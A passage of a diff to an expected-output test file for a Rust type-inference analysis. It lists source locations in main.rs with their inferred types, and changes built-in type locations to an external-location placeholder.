main.rs:1101:19:1101:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1101:21:1101:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1103:18:1103:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1103:18:1103:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1103:26:1103:30 | (...) | | main.rs:1057:5:1058:19 | S | | main.rs:1103:26:1103:30 | (...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1103:26:1103:35 | ... .m1() | | main.rs:1060:5:1061:14 | S2 | @@ -1386,7 +1388,7 @@ inferType | main.rs:1108:17:1108:18 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | | main.rs:1108:17:1108:23 | x7.m1() | | file://:0:0:0:0 | & | | main.rs:1108:17:1108:23 | x7.m1() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1109:18:1109:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1109:18:1109:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1109:26:1109:27 | x7 | | main.rs:1057:5:1058:19 | S | | main.rs:1109:26:1109:27 | x7 | T | file://:0:0:0:0 | & | | main.rs:1109:26:1109:27 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | @@ -1430,952 +1432,1187 @@ inferType | main.rs:1152:9:1152:15 | x.foo() | | file://:0:0:0:0 | & | | main.rs:1152:9:1152:15 | x.foo() | &T | main.rs:1142:5:1142:26 | MyStruct | | main.rs:1152:9:1152:15 | x.foo() | &T.T | main.rs:1140:5:1140:13 | S | -| main.rs:1160:15:1160:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1160:15:1160:19 | SelfParam | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1160:31:1162:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1160:31:1162:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1161:13:1161:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1161:13:1161:19 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1161:14:1161:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1161:14:1161:19 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1161:15:1161:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1161:15:1161:19 | &self | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1161:16:1161:19 | self | | file://:0:0:0:0 | & | -| main.rs:1161:16:1161:19 | self | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1164:15:1164:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1164:15:1164:25 | SelfParam | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1164:37:1166:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1164:37:1166:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1165:13:1165:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1165:13:1165:19 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1165:14:1165:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1165:14:1165:19 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1165:15:1165:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1165:15:1165:19 | &self | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1165:16:1165:19 | self | | file://:0:0:0:0 | & | -| main.rs:1165:16:1165:19 | self | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1168:15:1168:15 | x | | file://:0:0:0:0 | & | -| main.rs:1168:15:1168:15 | x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1168:34:1170:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1168:34:1170:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1169:13:1169:13 | x | | file://:0:0:0:0 | & | -| main.rs:1169:13:1169:13 | x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1172:15:1172:15 | x | | file://:0:0:0:0 | & | -| main.rs:1172:15:1172:15 | x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1172:34:1174:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1172:34:1174:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1173:13:1173:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1173:13:1173:16 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1173:14:1173:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1173:14:1173:16 | &... | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1173:15:1173:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1173:15:1173:16 | &x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1173:16:1173:16 | x | | file://:0:0:0:0 | & | -| main.rs:1173:16:1173:16 | x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1178:13:1178:13 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1178:17:1178:20 | S {...} | | main.rs:1157:5:1157:13 | S | -| main.rs:1179:9:1179:9 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1179:9:1179:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:1179:9:1179:14 | x.f1() | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1180:9:1180:9 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1180:9:1180:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:1180:9:1180:14 | x.f2() | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1181:9:1181:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:1181:9:1181:17 | ...::f3(...) | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1181:15:1181:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1181:15:1181:16 | &x | &T | main.rs:1157:5:1157:13 | S | -| main.rs:1181:16:1181:16 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1195:43:1198:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1195:43:1198:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1195:43:1198:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:13:1196:13 | x | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:17:1196:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1196:17:1196:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:17:1196:31 | TryExpr | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:28:1196:29 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1197:9:1197:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1197:9:1197:22 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1197:9:1197:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1197:20:1197:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1201:46:1205:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1201:46:1205:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1201:46:1205:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:13:1202:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1202:13:1202:13 | x | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:17:1202:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1202:17:1202:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:28:1202:29 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1203:13:1203:13 | y | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1203:17:1203:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1203:17:1203:17 | x | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1203:17:1203:18 | TryExpr | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1204:9:1204:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1204:9:1204:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1204:9:1204:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1204:20:1204:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1208:40:1213:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1208:40:1213:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1208:40:1213:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:13:1209:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:13:1209:13 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:13:1209:13 | x | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:17:1209:42 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:17:1209:42 | ...::Ok(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:17:1209:42 | ...::Ok(...) | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:28:1209:41 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:28:1209:41 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:39:1209:40 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1211:17:1211:17 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1211:17:1211:17 | x | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:18 | TryExpr | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1211:17:1211:18 | TryExpr | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:29 | ... .map(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1212:9:1212:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1212:9:1212:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1212:9:1212:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1212:20:1212:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1216:30:1216:34 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1216:30:1216:34 | input | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1216:30:1216:34 | input | T | main.rs:1216:20:1216:27 | T | -| main.rs:1216:69:1223:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1216:69:1223:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1216:69:1223:5 | { ... } | T | main.rs:1216:20:1216:27 | T | -| main.rs:1217:13:1217:17 | value | | main.rs:1216:20:1216:27 | T | -| main.rs:1217:21:1217:25 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1217:21:1217:25 | input | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1217:21:1217:25 | input | T | main.rs:1216:20:1216:27 | T | -| main.rs:1217:21:1217:26 | TryExpr | | main.rs:1216:20:1216:27 | T | -| main.rs:1218:22:1218:38 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1218:22:1218:38 | ...::Ok(...) | T | main.rs:1216:20:1216:27 | T | -| main.rs:1218:22:1221:10 | ... .and_then(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1218:33:1218:37 | value | | main.rs:1216:20:1216:27 | T | -| main.rs:1218:53:1221:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1218:53:1221:9 | { ... } | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1219:22:1219:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1222:9:1222:23 | ...::Err(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1222:9:1222:23 | ...::Err(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1222:9:1222:23 | ...::Err(...) | T | main.rs:1216:20:1216:27 | T | -| main.rs:1222:21:1222:22 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1226:37:1226:52 | try_same_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1226:37:1226:52 | try_same_error(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1226:37:1226:52 | try_same_error(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1227:22:1227:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1230:37:1230:55 | try_convert_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1230:37:1230:55 | try_convert_error(...) | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1230:37:1230:55 | try_convert_error(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1231:22:1231:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1234:37:1234:49 | try_chained(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1234:37:1234:49 | try_chained(...) | E | main.rs:1191:5:1192:14 | S2 | -| main.rs:1234:37:1234:49 | try_chained(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1235:22:1235:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1238:37:1238:63 | try_complex(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1238:37:1238:63 | try_complex(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:37:1238:63 | try_complex(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:49:1238:62 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1238:49:1238:62 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:49:1238:62 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:60:1238:61 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1239:22:1239:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1246:13:1246:13 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1246:22:1246:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1247:13:1247:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1247:17:1247:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:13:1248:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:17:1248:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:17:1248:21 | ... + ... | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:21:1248:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:13:1249:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:17:1249:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:17:1249:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1250:13:1250:13 | c | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1250:17:1250:19 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1251:13:1251:17 | hello | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1251:21:1251:27 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1252:13:1252:13 | f | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1252:17:1252:24 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1253:13:1253:13 | t | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1253:17:1253:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1254:13:1254:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1254:17:1254:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:13:1261:13 | x | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:17:1261:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:17:1261:29 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:25:1261:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:13:1262:13 | y | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:17:1262:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:17:1262:29 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:25:1262:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1264:13:1264:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1265:13:1265:16 | cond | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1265:20:1265:21 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1265:20:1265:27 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1265:26:1265:27 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1266:12:1266:15 | cond | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1267:17:1267:17 | z | | file://:0:0:0:0 | () | -| main.rs:1267:21:1267:27 | (...) | | file://:0:0:0:0 | () | -| main.rs:1267:22:1267:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1267:22:1267:26 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1267:26:1267:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1269:13:1269:13 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1269:13:1269:17 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1269:17:1269:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1271:9:1271:9 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1288:16:1288:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1288:22:1288:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1288:41:1293:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1289:13:1292:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:20:1290:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:20:1290:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1290:20:1290:33 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1290:29:1290:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:29:1290:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1291:20:1291:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1291:20:1291:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1291:20:1291:33 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1291:29:1291:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1291:29:1291:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1298:23:1298:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1298:23:1298:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1298:34:1298:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:13:1299:16 | self | | file://:0:0:0:0 | & | -| main.rs:1299:13:1299:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:13:1299:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1299:13:1299:27 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1299:23:1299:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:23:1299:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1300:13:1300:16 | self | | file://:0:0:0:0 | & | -| main.rs:1300:13:1300:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1300:13:1300:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1300:13:1300:27 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1300:23:1300:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1300:23:1300:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1306:16:1306:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1306:22:1306:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1306:41:1311:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1307:13:1310:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:20:1308:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:20:1308:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1308:20:1308:33 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1308:29:1308:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:29:1308:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1309:20:1309:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1309:20:1309:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1309:20:1309:33 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1309:29:1309:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1309:29:1309:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1316:23:1316:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1316:23:1316:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1316:34:1316:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:13:1317:16 | self | | file://:0:0:0:0 | & | -| main.rs:1317:13:1317:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:13:1317:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1317:13:1317:27 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1317:23:1317:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:23:1317:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1163:17:1163:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1163:17:1163:25 | SelfParam | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1164:13:1164:16 | self | | file://:0:0:0:0 | & | +| main.rs:1164:13:1164:16 | self | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1164:13:1164:21 | self.bool | | {EXTERNAL LOCATION} | bool | +| main.rs:1164:13:1164:34 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1164:25:1164:34 | ! ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1164:26:1164:29 | self | | file://:0:0:0:0 | & | +| main.rs:1164:26:1164:29 | self | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1164:26:1164:34 | self.bool | | {EXTERNAL LOCATION} | bool | +| main.rs:1171:15:1171:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1171:15:1171:19 | SelfParam | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1171:31:1173:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1171:31:1173:9 | { ... } | &T | file://:0:0:0:0 | & | +| main.rs:1171:31:1173:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1171:31:1173:9 | { ... } | &T.&T | file://:0:0:0:0 | & | +| main.rs:1171:31:1173:9 | { ... } | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1171:31:1173:9 | { ... } | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:13:1172:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1172:13:1172:19 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1172:13:1172:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:13:1172:19 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1172:13:1172:19 | &... | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1172:13:1172:19 | &... | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:14:1172:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1172:14:1172:19 | &... | | main.rs:1168:5:1168:13 | S | +| main.rs:1172:14:1172:19 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1172:14:1172:19 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1172:14:1172:19 | &... | &T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:15:1172:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1172:15:1172:19 | &self | &T | file://:0:0:0:0 | & | +| main.rs:1172:15:1172:19 | &self | &T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1172:16:1172:19 | self | | file://:0:0:0:0 | & | +| main.rs:1172:16:1172:19 | self | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1175:15:1175:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1175:15:1175:25 | SelfParam | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1175:37:1177:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1175:37:1177:9 | { ... } | &T | file://:0:0:0:0 | & | +| main.rs:1175:37:1177:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1175:37:1177:9 | { ... } | &T.&T | file://:0:0:0:0 | & | +| main.rs:1175:37:1177:9 | { ... } | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1175:37:1177:9 | { ... } | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:13:1176:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1176:13:1176:19 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1176:13:1176:19 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:13:1176:19 | &... | &T.&T | file://:0:0:0:0 | & | +| 